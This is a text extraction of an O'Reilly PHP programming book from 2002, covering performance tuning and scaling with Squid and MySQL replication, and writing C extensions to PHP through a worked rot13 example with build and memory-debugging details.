changes you make to your code as you attempt to improve its speed—we show youhow to time individual portions of a page in the next section, but ultimately thesemicrobenchmarks don’t matter if the overall page is still slow to load and run. Theultimate proof that your performance optimizations have been successful comesfrom the numbers that ab reports.

ProfilingPHP does not have a built-in profiler, but there are some techniques you can use toinvestigate code that you think has performance issues. One technique is to call themicrotime( ) function to get an accurate representation of the amount of time thatelapses. You can surround the code you’re profiling with calls to microtime( ) anduse the values returned by microtime( ) to calculate how long the code took.

For instance, here’s some code you can use to find out just how long it takes to pro-duce the phpinfo( ) output:

<?php ob_start( ); $start = microtime( ); phpinfo( ); $end = microtime( ); ob_end_clean( );

echo "phpinfo( ) took " . ($end-$start) . " seconds to run.\n";?>

Reload this page several times, and you’ll see the number fluctuate slightly. Reload itoften enough, and you’ll see it fluctuate quite a lot. The danger of timing a single runof a piece of code is that you may not get a representative machine load—the servermight be paging as a user starts emacs, or it may have removed the source file fromits cache. The best way to get an accurate representation of the time it takes to dosomething is to time repeated runs and look at the average of those times.

The Benchmark class available in PEAR makes it easy to repeatedly time sections ofyour script. Here is a simple example that shows how you can use it:

<?php require_once 'Benchmark/Timer.php';

$timer = new Benchmark_Timer;

$timer->start( ); sleep(1); $timer->setMarker('Marker 1'); sleep(2); $timer->stop( );

$profiling = $timer->getProfiling( );

foreach($profiling as $time) {

,ch13.16807 Page 311 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (312)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

312 | Chapter 13: Application Techniques

echo $time['name'] . ': ' . $time['diff'] . "<br>\n"; } echo 'Total: ' . $time['total'] . "<br>\n";?>

The output from this program is:

Start: -Marker 1: 1.0006979703903Stop: 2.0100029706955Total: 3.0107009410858

That is, it took 1.0006979703903 seconds to get to marker 1, which is set right afterour sleep(1) call, so it is what you would expect. It took just over 2 seconds to getfrom marker 1 to the end, and the entire script took just over 3 seconds to run. Youcan add as many markers as you like and thereby time various parts of your script.

Optimizing Execution TimeHere are some tips for shortening the execution times of your scripts:

• Avoid printf( ) when echo is all you need.

• Avoid recomputing values inside a loop, as PHP’s parser does not remove loopinvariants. For example, don’t do this if the size of $array doesn’t change:

for ($i=0; $i < count($array); $i++) { /* do something */ }

Instead, do this:$num = count($array);for ($i=0; $i < $num; $i++) { /* do something */ }

• Include only files that you need. Split included files to include only functionsthat you are sure will be used together. Although the code may be a bit more dif-ficult to maintain, parsing code you don’t use is expensive.

• If you are using a database, use persistent database connections—setting up andtearing down database connections can be slow.

• Don’t use a regular expression when a simple string-manipulation function willdo the job. For example, to turn one character into another in a string, use str_replace( ), not preg_replace( ).

Optimizing Memory RequirementsHere are some techniques for reducing the memory requirements of your scripts:

• Use numbers instead of strings whenever possible:for ($i="0"; $i < "10"; $i++) // badfor ($i=0; $i < 10; $i++) // good

• When you’re done with a large string, set the variable holding the string to anempty string. This frees the memory to be reused.

,ch13.16807 Page 312 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (313)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Performance Tuning | 313

• Only include or require files that you need. Use include_once and require_onceinstead of include and require.

• If you are using MySQL and have large result sets, consider using the MySQL-specific database extension, so you can use mysql_unbuffered_query( ). Thisfunction doesn’t load the whole result set into memory at once—instead, itfetches it row by row, as needed.

Reverse Proxies and ReplicationAdding hardware is often the quickest route to better performance. It’s better tobenchmark your software first, though, as it’s generally cheaper to fix software thanto buy new hardware. This section discusses three common solutions to the prob-lem of scaling traffic: reverse-proxy caches, load-balancing servers, and databasereplication.

Reverse-proxy cache

A reverse proxy is a program that sits in front of your web server and handles all con-nections from client browsers. Proxies are optimized to serve up static files quickly,and despite appearances and implementation, most dynamic sites can be cached forshort periods of time without loss of service. Normally, you’ll run the proxy on aseparate machine from your web server.

Take, for example, a busy site whose front page is hit 50 times per second. If this firstpage is built from two database queries and the database changes as often as twice aminute, you can avoid 5,994 database queries per minute by using a Cache-Controlheader to tell the reverse proxy to cache the page for 30 seconds. The worst-case sce-nario is that there will be a 30-second delay from database update to a user seeingthis new data. For most applications that’s not a very long delay, and it gives signifi-cant performance benefits.

Proxy caches can even intelligently cache content that is personalized or tailored tothe browser type, accepted language, or similar feature. The typical solution is tosend a Vary header telling the cache exactly which request parameters affect thecaching.

There are hardware proxy caches available, but there are also very good softwareimplementations. For a high-quality and extremely flexible open source proxy cache,have a look at Squid at http://www.squid-cache.org. See the book Web Caching byDuane Wessels (O’Reilly) for more information on proxy caches and how to tune aweb site to work with one.

A typical configuration, with Squid listening on the external interface on port 80 andforwarding requests to Apache (which is listening on the loopback), looks likeFigure 13-2.

,ch13.16807 Page 313 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (314)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

314 | Chapter 13: Application Techniques

The relevant part of the Squid configuration file to set up Squid in this manner is:

httpd_accel_host 127.0.0.1httpd_accel_port 80httpd_accel_single_host onhttpd_accel_uses_host_header on

Load balancing and redirection

One way to boost performance is to spread the load over a number of machines. Aload-balancing system does this by either evenly distributing the load or sendingincoming requests to the least loaded machine. A redirector is a program thatrewrites incoming URLs, allowing fine-grained control over the distribution ofrequests to individual server machines.

Again, there are hardware HTTP redirectors and load-balancers, but redirection andload balancing can also be done effectively in software. By adding redirection logic toSquid through something like SquidGuard (http://www.squidguard.org), you can do anumber of things to improve performance.

Figure 13-3 shows how a redirector can load-balance requests either over multiplebackend web servers or across separate Apache instances running on different portson the same server.

Figure 13-2. Squid caching

Figure 13-3. Load balancing with SquidGuard

External IP port 80Squid

127.0.0.1:80Apache

External IP port 80Squid

127.0.0.1:80Apache

192.168.0.1:80Apache

127.0.0.1:80Apache

SquidGuardRedirector

,ch13.16807 Page 314 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (315)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Performance Tuning | 315

MySQL replication

Sometimes the database server is the bottleneck—many simultaneous queries can bogdown a database server, resulting in sluggish performance. Replication is the solu-tion. Take everything that happens to one database and quickly bring one or moreother databases in sync, so you end up with multiple identical databases. This lets youspread your queries across many database servers instead of loading down only one.

The most effective model is to use one-way replication, where you have a single mas-ter database that gets replicated to a number of slave databases. All database writesgo to the master server, and database reads are load-balanced across multiple slavedatabases. This technique is aimed at architectures that do a lot more reads thanwrites. Most web applications fit this scenario nicely.

Figure 13-4 shows the relationship between the master and slave databases duringreplication.

Many databases support replication, including MySQL, PostgreSQL, and Oracle.

Putting it all together

For a really high-powered architecture, pull all these concepts together into some-thing like the configuration shown in Figure 13-5.

Using five separate machines—one for the reverse proxy and redirector, three webservers, and one master database server—this architecture can handle a huge number

Figure 13-4. Database replication

Figure 13-5. Putting it all together

Master

Slave Slave Slave

Squid cacheredirector

Apache 1MySQL slave

Apache 2MySQL slave

Apache 3MySQL slave

Master MySQLserver

,ch13.16807 Page 315 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (316)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

316 | Chapter 13: Application Techniques

of requests. The exact number depends only on the two bottlenecks—the singleSquid proxy and the single master database server. With a bit of creativity, either orboth of these could be split across multiple servers as well, but as it is, if your applica-tion is somewhat cachable and heavy on database reads, this is a nice approach.

Each Apache server gets its own read-only MySQL database, so all read requestsfrom your PHP scripts go over a Unix-domain local socket to a dedicated MySQLinstance. You can add as many of these Apache/PHP/MySQL servers as you needunder this framework. Any database writes from your PHP applications will go overa TCP socket to the master MySQL server.

,ch13.16807 Page 316 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (317)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

317

Chapter 14 CHAPTER 14

Extending PHP

This chapter shows you how to write C language extensions to PHP. Although mostfunctionality can be written in the PHP language, sometimes you need the extraspeed and control you get from the C API. C code runs an order of magnitude fasterthan most interpreted script code, and it is also the mechanism for creating the thinmiddle layer between PHP and any third-party C library.

For example, to be able to talk to the MySQL database server, PHP needs to imple-ment the MySQL socket protocol. It would be a lot of work to figure out this proto-col and talk to MySQL directly using fsockopen( ) and fputs( ) from a PHP script.Instead, the same goal can be accomplished with a thin layer of functions written inC that translate MySQL’s C API, implemented in the libmysqlclient.so libraryincluded in MySQL, into PHP language-level function calls. This thin layer of func-tions is known as a PHP extension. PHP extensions do not always have to be a layerbetween PHP and some third-party library, however. An extension can instead com-pletely implement some feature directly (for example, the FTP extension).

Before we get into the details of writing extensions, a note of caution. If you are justlearning PHP and do not have any sort of C programming background, you shouldprobably skip this chapter. Extension writing is an advanced topic, and it is not forthe faint of heart.

Architectural OverviewThere are two kinds of extensions that you can write: PHP extensions and Zendextensions. We will focus on PHP extensions here. Zend extensions are lower-levelextensions that somehow modify the very core of the language. Opcode cache sys-tems such as APC, Bware afterBurner, and ZendCache are Zend extensions. PHPextensions simply provide functions or objects to PHP scripts. MySQL, Oracle,LDAP, SNMP, EXIF, GD, and ming are all examples of PHP extensions.

,ch14.16947 Page 317 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (318)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

318 | Chapter 14: Extending PHP

Figure 14-1 shows a diagram of a web server with PHP linked in. The web serverlayer at the top handles incoming HTTP requests and passes them to PHP via theServer Abstraction API (SAPI). The “mysql”, “ldap”, and “snmp” boxes representloadable PHP extensions, the kind you’ll learn how to build in this chapter. TSRM isthe Thread Safe Resource Manager layer, which helps simplify thread-safe program-ming. The PHP Core contains many of the nonoptional core features of PHP, and thePHP API contains the PHP-specific API functions used by both the core and the PHPextensions. Finally, there is the Zend engine, which runs scripts through a two-passmechanism, first generating a set of opcodes and then executing them. A PHP exten-sion uses the Zend extension API to receive arguments from function calls and returnvalues back.

What You’ll NeedTo develop a PHP extension, you’ll need a copy of the PHP source code and varioussoftware development tools, as discussed below.

The PHP SourceFetch a copy of the current CVS version of the PHP code, to ensure that you areusing the most up-to-date version of the API. See http://cvs.php.net for instructionson how to obtain the CVS version of the code via anonymous CVS.

PHP comes with a skeleton extension framework generator called ext_skel; this littlescript is a lifesaver. You should spend some time studying the README.EXT_SKELand README.SELF-CONTAINED-EXTENSIONS files that come with the PHPsource code.

The PHP source code offers you dozens of example extensions to look at. Each sub-directory in the ext/ directory contains a PHP extension. Chances are that just aboutanything you need to implement will in some way resemble one of the existing

Figure 14-1. Structure of a PHP-linked web server

Web server

SAPI

PHP API

PHP core

Zend API Zend extension APIZend engine

TSRM

TSRM

Runtimecompiler Executer

mysql ldap snmp

,ch14.16947 Page 318 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (319)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Building Your First Extensions | 319

examples, and you are strongly encouraged to steal/borrow as much existing code aspossible (with proper attribution, of course).

Software ToolsTo write an extension, you need to have working versions of these tools installed:

• bison

• flex

• m4

• autoconf

• automake

• libtool

• An ANSI-compliant compiler such as gcc

• make

• sed, awk, and Perl are also used optionally here and there

These are all standard tools available free on the Internet (see http://www.gnu.org formost of them). If you are running a Linux distribution or any of the BSD operatingsystems, follow your distribution’s mechanism for installing new packages. In Win-dows, you can install the cygwin environment to run tools such as bison, flex, andautoconf, doing the final build using Microsoft Visual DevStudio.

Building Your First ExtensionsThis section walks you through the steps of building your first extension, fromdesign through testing. Most extensions are created by writing a file that defines thefunctions the extension will have, building a skeleton from that, and then filling inthe C code that does the actual work of the extension. This section doesn’t coveradvanced topics such as returning complex values or managing memory—we’ll talkabout those later, after you have the basics down.

Command-Line PHPUnless your extension can really be tested only through the Web, it is much easier todebug and quickly test your code through the command-line version of PHP (alsosometimes referred to as the CGI version of PHP). To build the command-line ver-sion, do something like this:

% cd php4% ./configure --with-mysql=/usr --with-pgsql --with-zlib --with-config-file=/etc% make# make install

,ch14.16947 Page 319 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (320)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

320 | Chapter 14: Extending PHP

This will put a php binary in your /usr/local/bin directory. The configure line aboveadds MySQL, PostgreSQL, and zlib support. While you don’t need them to developyour extension, they won’t get in the way, and it is a good idea to have a php binarythat can run complex web applications directly from the command line.

Just to make sure it worked, test it:

% /usr/local/bin/php -v4.2.0-dev

Planning Your ExtensionAs much as you probably just want to dive in and start coding, a little bit of plan-ning ahead of time can save you a lot of time and headaches later. The best way toplan your extension is to write a sample PHP script that shows exactly how you planto use it. This will determine the functions you need to implement and their argu-ments and return values.

For example, take a fictitious rot13* extension that might be used as follows:

<?php echo rot13($string);?>

From this we see that we need to implement a single function, which takes a string asan argument and returns a string. Don’t let the simplicity of the example fool you—the approach we’ll take holds for extensions of any complexity.

Creating a Skeleton ExtensionOnce you have planned your extension, you can build a skeleton with the ext_skeltool. This program takes a .def file, which describes the functions your extension willprovide. For our example, rot13.def looks like this:

string rot13(string arg) Returns the rot13 version of arg

This defines a function that returns a string and takes a string argument. Anythingafter the close parenthesis is a one-line description of the function.

The other types valid in a .def file are:

voidFor functions that return nothing or take no arguments

boolBoolean

* rot13 is a simple encryption algorithm that rotates the English alphabet by half its length. “a” becomes “n”and “z” becomes “m,” for example.

,ch14.16947 Page 320 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (321)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Building Your First Extensions | 321

intInteger/long

longSame as int

arrayAn array

floatFloating point

doubleSame as float

objectAn object

resourceA PHP resource

mixedAny of the above

Let’s look at the basic structure of a PHP extension. Create one for yourself and fol-low along:

% cd php4/ext% ./ext_skel --extname=rot13 --proto=rot13.def% cd rot13

Running ext_skel like this creates the following files:

config.m4The configuration rules

CREDITSPut your extension name and your name here

EXPERIMENTALIndicates the extension is still experimental

rot13.cThe actual C code for the extension

rot13.phpThe test script

Makefile.inThe makefile template for autoconf/automake

php_rot13.hThe C header file for the extension

tests/The directory for regression tests

,ch14.16947 Page 321 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (322)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

322 | Chapter 14: Extending PHP

Fleshing Out the SkeletonThe rot13.c file contains the C code that implements the extension. After including astandard collection of header files, the first important part of the extension is:

/* {{{ rot13_functions[] * * every user-visible function must have an entry in rot13_functions[] */function_entry rot13_functions[] = { PHP_FE(confirm_rot13_compiled, NULL) /* for testing; remove later */ PHP_FE(rot13, NULL) {NULL, NULL, NULL} /* must be the last line in rot13_functions[] */};/* }}} */

The {{{ and }}} sequences in the comments don’t have meaning to the C compiler orPHP—they indicate a “fold” to editors that understand text folding. If your editorsupports it (Vim6 and Emacs do), you can represent a block of text (e.g., a functiondefinition) with a single line (e.g., a description of the function). This makes it easierto edit large files.

The important part in this code is the function_entry array, which lists the user-visible functions that this extension implements. Two such functions are shownhere. The ext_skel tool generated the confirm_rot13_compiled( ) function for the pur-poses of testing. The rot13( ) function came from the definition in rot13.def.

PHP_FE( ) is a macro that stands for PHP Function Entry. The PHP API has manysuch convenience macros. While they speed up development for programmers expe-rienced with the API, they add to the learning curve for beginners.

Next comes the zend_module_entry struct:

zend_module_entry rot13_module_entry = { STANDARD_MODULE_HEADER, "rot13", rot13_functions, PHP_MINIT(rot13), PHP_MSHUTDOWN(rot13), PHP_RINIT(rot13), /* replace with NULL if no request init code */ PHP_RSHUTDOWN(rot13), /* replace with NULL if no request shutdown code */ PHP_MINFO(rot13), "0.1", /* replace with version number for your extension */ STANDARD_MODULE_PROPERTIES};

This defines the functions to be called for the various stages of startup and shut-down. Like most extensions, rot13 doesn’t need per-request startup and shutdownfunctions, so follow the instructions in the comments and replace PHP_RINIT(rot13)and PHP_RSHUTDOWN(rot13) with NULL. The resulting zend_module_entry struct lookslike this:

,ch14.16947 Page 322 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (323)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Building Your First Extensions | 323

zend_module_entry rot13_module_entry = { STANDARD_MODULE_HEADER, "rot13", rot13_functions, PHP_MINIT(rot13), PHP_MSHUTDOWN(rot13), NULL, NULL, PHP_MINFO(rot13), "0.1", /* replace with version number for your extension */ STANDARD_MODULE_PROPERTIES};

The extension API changed between PHP 4.0.x and PHP 4.1.x. To make your exten-sion be source-compatible with PHP 4.0.x, you need to make some of the elementsof the structure conditional, as follows:

zend_module_entry rot13_module_entry = {#if ZEND_MODULE_API >= 20010901 STANDARD_MODULE_HEADER,#endif "rot13", rot13_functions, PHP_MINIT(rot13), PHP_MSHUTDOWN(rot13), NULL, NULL, PHP_MINFO(rot13),#if ZEND_MODULE_API >= 20010901 "0.1",#endif STANDARD_MODULE_PROPERTIES};

Next in the rot13.c file is commented code showing how to deal with php.ini entries.The rot13 extension doesn’t need to be configured via php.ini, so leave them com-mented out. The later section “Extension INI Entries” explains the use of thesefunctions.

Next comes implementations of the MINIT( ), MSHUTDOWN( ), RINIT( ), RSHUTDOWN( ),and MINFO( ) functions. For our simple rot13 example, we simply need to returnSUCCESS from the MINIT( ) and MSHUTDOWN( ) functions, and we can get rid of theRINIT( ) and RSHUTDOWN( ) functions entirely. So, after deleting some commentedcode, we just have:

PHP_MINIT_FUNCTION(rot13) { return SUCCESS;}PHP_MSHUTDOWN_FUNCTION(rot13) { return SUCCESS;}PHP_MINFO_FUNCTION(rot13) {

,ch14.16947 Page 323 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (324)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

324 | Chapter 14: Extending PHP

php_info_print_table_start( ); php_info_print_table_header(2, "rot13 support", "enabled"); php_info_print_table_end( );}

When you remove a function (such as RINIT( ) or RSHUTDOWN( )) from rot13.c, be sureto remove the corresponding prototype from php_rot13.h.

The MINFO( ) function is called by phpinfo( ) and adds whatever information youwant about your extension to the phpinfo( ) output.

Finally, we get to the functions that are callable from PHP. The confirm_rot13_compiled( ) function exists only to confirm the successful compilation and loading ofthe rot13 extension. The skeleton tests use this. Most experienced extension writersremove the compilation-check function.

Here is the stub function that ext_skel created for our rot13( ) function:

/* {{{ proto string rot13(string arg) returns the rot13 version of arg */PHP_FUNCTION(rot13){ char *arg = NULL; int argc = ZEND_NUM_ARGS( ); int arg_len;

if (zend_parse_parameters(argc TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) return;

php_error(E_WARNING, "rot13: not yet implemented");}/* }}} */

The {{{ proto line is not only used for folding in the editor, but is also parsed by thegenfunclist and genfuncsummary scripts that are part of the PHP documentationproject. If you are never going to distribute your extension and have no ambitions tohave it bundled with PHP, you can remove these comments.

The PHP_FUNCTION( ) macro declares the function. The actual symbol for the functionis zif_rot13, which is useful to know if you are debugging your code and wish to seta breakpoint.

The only thing the stubbed function does is accept a single string argument and thenissue a warning saying it hasn’t been implemented yet. Here is a complete rot13( )function:

PHP_FUNCTION(rot13) { char *arg = NULL, *ch, cap; int arg_len, i, argc = ZEND_NUM_ARGS( );

if (zend_parse_parameters(argc TSRMLS_CC, "s/", &arg, &arg_len) == FAILURE) return;

,ch14.16947 Page 324 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (325)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Building Your First Extensions | 325

for(i=0, ch=arg; i<arg_len; i++, ch++) { cap = *ch & 32; *ch &= ~cap; *ch = ((*ch >= 'A')&&(*ch <= 'Z') ? ((*ch-'A'+13) % 26+'A') : *ch)|cap; } RETURN_STRINGL(arg, arg_len, 1);}

The zend_parse_parameters( ) function extracts the PHP values passed as parametersto the rot13( ) function. We’ll talk about it in depth later. Don’t worry too muchabout the string manipulation and bitwise logic here—that’s merely the implementa-tion of the rot13 behavior, not something that’ll be in every extension you write. TheRETURN_STRINGL( ) call at the end returns the string. You give it the string, the length ofthe string, and a flag that indicates whether a copy needs to be made. In this case, weneed to have a copy made, so the last argument is a 1. Failing to return a copy may leadto memory leaks or crashes, as we’ll see in the “Memory Management” section later.

Compiling Your ExtensionBefore you can build your extension, you must edit the config.m4 file and indicatehow the user can specify that the module is to be compiled into PHP. These lines(commented out by default) do just that:

PHP_ARG_ENABLE(rot13, whether to enable rot13 support,[ --enable-rot13 Enable rot13 support])

There are two main choices for building your extension. You can make a completelystandalone source tree and build your extension as a shared module, or you canwork within the framework of the PHP source tree. Shared modules are quicker tocompile, but a line in the program source or php.ini file is required to load them.Compiling your extension into PHP takes time, but it means that the extension’sfunctions are always visible to scripts.

Standalone extensions

To create a standalone extension source directory, simply run phpize inside yourextension directory. The phpize script should have been installed for you when youdid a make install after building PHP earlier.

% cd php4/ext/rot13% phpize

This creates a number of files for configuring and building outside the PHP sourcetree. You can now move this directory anywhere you want. It is a good idea to moveit outside of your PHP source tree to prevent a top-level PHP buildconf run frompicking it up. To build your extension, simply do:

% ./configure% make

To use the extension, two things must happen: PHP must be able to find the sharedlibrary and must load it. The extension_dir option in php.ini specifies the directory

,ch14.16947 Page 325 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (326)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

326 | Chapter 14: Extending PHP

containing extensions. Copy the modules/rot13.so file to that directory. For example,if PHP is looking for extensions in /usr/local/lib/php, use:

% cp modules/rot13.so /usr/local/lib/php

Either load your extension explicitly (via a function call in every PHP script thatwants to use the module), or preload it with a change to the php.ini file. The func-tion call to load your module is:

dl('rot13.so');

The extension directive in the php.ini file preloads an extension:

extension=rot13.so

Compiling the extension into PHP

To compile your extension into PHP, run the following from the top of your PHP4source tree:

% ./buildconf

This will add your new --enable-rot13 switch to the top-level PHP ./configure script.You can run the following to verify that it worked:

% ./configure --help

Now build PHP with:

%./configure --enable-rot13 --enable-mysql=/usr ..

See Chapter 1 for more information on building and installing PHP from the sourcecode. After you issue a make install, your extension will be built statically into yourPHP binary. This means you do not have to load the extension with dl( ) or a changeto php.ini; the extension will always be available.

Use --enable-rot13=shared on your configure line to force the rot13 extension to bebuilt as a shared library.

Testing Your ExtensionThe test script that is created by the ext_skel program looks like this:

<?php if(!extenson_loaded('rot13')) { dl('rot13.so'); } $module = 'rot13'; $functions = get_extension_funcs($module); echo "Functions available in the test extension:<br>\n"; foreach($functions as $func) { echo $func."<br>\n"; } echo "<br>\n"; $function = 'confirm_' . $module . '_compiled';

,ch14.16947 Page 326 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (327)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

The config.m4 File | 327

if (extension_loaded($module)) { $str = $function($module); } else { $str = "Module $module is not compiled into PHP"; } echo "$str\n";?>

This code checks to see an if the extension is loaded, lists the functions provided bythe extension, and then calls the confirmation function if the extension was loaded.This is good, but it doesn’t test whether the rot13( ) function works.

Modify the test script to look like this:

<?php if(!extension_loaded('rot13')) { dl('rot13.so'); } $encrypted = rot13('Rasmus'); $again = rot13($encrypted); echo "$encrypted $again\n";?>

Run the test with:

% ~/php4/ext/rot13> php -q rot13.phpEnfzhf Rasmus

The test program encrypts “Rasmus”, then uses rot13( ) on the string again todecrypt it. The -q option tells the command-line version of PHP to not display anyHTTP headers.

The config.m4 FileThe config.m4 file contains the code that will go into the configure script. Thisincludes the switch that enables the extension (e.g., --enable-rot13 or --with-rot13),the name of the shared library to build, code to search for prerequisite libraries, andmuch more. The skeletal config.m4 file contains sample code for the various thingsyou might want to do, commented out.

There are conventions governing the configure switch to enable your extension. Ifyour extension does not rely on any external components, use --enable-foo. If itdoes have some nonbundled dependencies, such as a library, use --with-foo.Optionally, you can specify a base path using --with-foo=/some/path, which helpsconfigure find the dependencies.

PHP uses the grand unifying scheme of autoconf, automake, and libtool to buildextensions. These three tools, used together, can be extremely powerful, but they canalso be extremely frustrating. Getting this stuff right is a bit of a black art. When anextension is part of the PHP source tree and you run the buildconf script in the topdirectory of the tree, it scans through all its subdirectories looking for config.m4 files.

,ch14.16947 Page 327 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (328)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

328 | Chapter 14: Extending PHP

It grabs all the config.m4 files and creates a single configure script that contains all theconfigure switches. This means that each extension needs to implement its ownconfigure checks to check for whatever dependencies and system-level features mightbe needed to build the extension.

These checks are done through autoconf macros and general m4 scripting in theconfig.m4 file. Your best bet is probably to look at some of the existing config.m4files in the various PHP extensions to see how different types of checks are done.

No External DependenciesHere is a sample from the simple EXIF extension, which has no external dependencies:

dnl config.m4 for extension exif

PHP_ARG_ENABLE(exif, whether to enable exif support, [ --enable-exif Enable exif support])

if test "$PHP_EXIF" != "no"; then AC_DEFINE(HAVE_EXIF, 1, [Whether you want exif support]) PHP_EXTENSION(exif, $ext_shared)fi

The dnl string indicates a comment line. Here we define HAVE_EXIF if --enable-exifwas given. In our exif.c code, we then surround the whole file with:

#if HAVE_EXIF...#endif

This ensures that no EXIF functionality is compiled in unless the feature wasrequested. The PHP_EXTENSION line enables this extension to be compiled as a shared,dynamically loadable extension using --enable-exif=shared.

External DependenciesThe libswf extension (which builds Flash animations) requires the libswf library. Toenable it, configure PHP with --with-swf. The config.m4 file for libswf must find thelibrary if it wasn’t supplied via --with-swf=/path/to/lib: for the libswf extension.

dnl config.m4 for extension libswf

PHP_ARG_WITH(swf, for libswf support,[ --with-swf[=DIR] Include swf support])

if test "$PHP_SWF" != "no"; then if test -r $PHP_SWF/lib/libswf.a; then SWF_DIR=$PHP_SWF else AC_MSG_CHECKING(for libswf in default path) for i in /usr/local /usr; do if test -r $i/lib/libswf.a; then

,ch14.16947 Page 328 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (329)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Memory Management | 329

SWF_DIR=$i AC_MSG_RESULT(found in $i) fi done fi

if test -z "$SWF_DIR"; then AC_MSG_RESULT(not found) AC_MSG_ERROR(Please reinstall the libswf distribution - swf.h should be <swf-dir>/include and libswf.a should be in <swf-dir>/lib) fi PHP_ADD_INCLUDE($SWF_DIR/include)

PHP_SUBST(SWF_SHARED_LIBADD) PHP_ADD_LIBRARY_WITH_PATH(swf, $SWF_DIR/lib, SWF_SHARED_LIBADD) AC_DEFINE(HAVE_SWF,1,[ ])

PHP_EXTENSION(swf, $ext_shared)fi

The AC_MSG_CHECKING( ) macro is used to make configure print a message about whatit’s checking for. When we’ve found the include files, we add them to PHP’s stan-dard include search path with the PHP_ADD_INCLUDE( ) macro. When we find the SWFshared libraries, we add them to the library search path and ensure that we link theminto the final binary through the PHP_ADD_LIBRARY_WITH_PATH( ) macro. Things canget a lot more complex than this once you start worrying about different versions oflibraries and different platforms. For a very complex example, see the GD library’sconfig.m4 in ext/gd/config.m4.

Memory ManagementIn C, you always have to worry about memory management. This still holds truewhen writing PHP extensions in C, but the extension API provides you with a safetynet and some helpful debugging facilities if you use the API’s memory-managementwrapper functions (you are strongly encouraged to do so). The wrapper functions are:

emalloc( )efree( )estrdup( )estrndup( )ecalloc( )erealloc( )

These work exactly like the native C counterparts after which they are named.

One of the features you get by using emalloc( ) is a safety net for memory leaks. Ifyou emalloc( ) something and forget to efree( ) it, PHP prints a leak warning likethis if you are running in debug mode (enabled by compiling PHP with the --enable-debug switch):

foo.c(123) : Freeing 0x0821E5FC (20 bytes), script=foo.phpLast leak repeated 1 time

,ch14.16947 Page 329 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (330)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

330 | Chapter 14: Extending PHP

If you efree( ) something that was allocated using malloc( ) or some mechanismother than the PHP memory-management functions, you get the following:

---------------------------------------foo.c(124) : Block 0x08219C94 status:Beginning: Overrun (magic=0x00000000, expected=0x7312F8DC) End: Unknown---------------------------------------foo.c(124) : Block 0x0821EB1C status:Beginning: Overrun (magic=0x00000000, expected=0x7312F8DC) End: Unknown---------------------------------------

In this case, line 124 in foo.c is the call to efree( ). PHP knows it didn’t allocate thismemory because it didn’t contain the magic token that indicates a PHP allocation.

The emalloc( )/efree( ) safety net also catches overruns—e.g., if you emalloc(20) butwrite 21 bytes to that address. For example:

123: s = emalloc(6);124: strcpy(s,"Rasmus");125: efree(s);

Because this code failed to allocate enough memory to hold the string and the termi-nating NULL, PHP prints this warning:

---------------------------------------foo.c(125) : Block 0x08219CB8 status:Beginning: OK (allocated on foo.c:123, 6 bytes) End: Overflown (magic=0x2A8FCC00 instead of 0x2A8FCC84) 1 byte(s) overflown---------------------------------------foo.c(125) : Block 0x08219C40 status:Beginning: OK (allocated on foo.c:123, 6 bytes) End: Overflown (magic=0x2A8FCC00 instead of 0x2A8FCC84) 1 byte(s) overflown---------------------------------------

The warning shows where the overflowed memory was allocated (line 123) andwhere this overflow was detected (line 125 in the efree( ) call).

These memory-handling functions can catch a lot of silly little mistakes that mightotherwise waste your time, so do your development with the debug switch enabled.Don’t forget to recompile in non-debug mode when you are done testing, though, asthe various tests done by the emalloc( ) type functions slow down PHP.

